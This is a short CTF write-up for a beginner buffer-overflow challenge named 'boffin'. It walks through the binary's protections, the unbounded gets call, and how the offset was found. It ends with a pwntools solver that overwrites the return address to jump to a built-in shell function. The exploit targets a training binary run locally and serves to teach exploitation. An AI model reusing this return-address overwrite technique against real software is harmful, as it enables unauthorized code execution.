boffin

Buffer overflow challenge.

2 min read


Table of Contents

[ + ] Overview
[ + ] Reversing
[ + ] Pwning
[ + ] Solution

[ + ]Overview

Taking a quick look after running the binary, we are prompted with a single question, then the program exits:

Image

Here are the protections on the binary:

RELRO
Partial RELRO   

STACK CANARY
No canary found   

NX
NX enabled    

PIE
No PIE          

SELFRANDO
No Selfrando

Luckily, the binary protections are in our favour.

Let's throw it in IDA to get a better look at what's going on.

[ + ]Reversing

Taking a look at the disassembly, we can quickly see the problem here. An array of size 0x20 is allocated on the stack, and gets is called feeding our input directly into the array without limitation on size.

Image

[ + ]Pwning

To get started, we open this up in gdb to find the offset to overflow to.

Image

After supplying a cyclical pattern string as input, we can check for the offset of the value at rsp as this is the address that will be called after the epilogue.

Image

Last thing so determine is the address to jump to. After quickly checking the procedural linkage table, we see that system@plt is there. This is an indication that it is used somewhere in the binary.

Image

Using IDA's xref feature we can quickly look for references.

Image

Sweet, we are given a shell without needing a ROP chain.

Image

Now all we need to do is overflow by 40 bytes, then put our address after.

buf = b"A" * 40 + p64(0x000000000040069D)

We can see bellow that at the return call, we are about to jump into give_shell.

Image

And that's all! A beginner buffer overflow challenge to get warmed up.

[ + ]Solution

Image
 Solver
from pwn import *
from pwnlib.util.packing import *

# Context
context.arch = 'amd64'
context.log_level = 'DEBUG'

# Main vars
NETID = ''
HOST, PORT = '', 1337


def pwn():
    conn = process(['/tmp/lima/boffin/boffin'])
    log.info(str(conn.pid))
    pause()
    conn.recvuntil(b'Hey! What\'s your name?')
    buf = b"A" * 40 + p64(0x000000000040069D)
    conn.send(buf + b"\n")
    conn.interactive()


if __name__ == "__main__":
    pwn()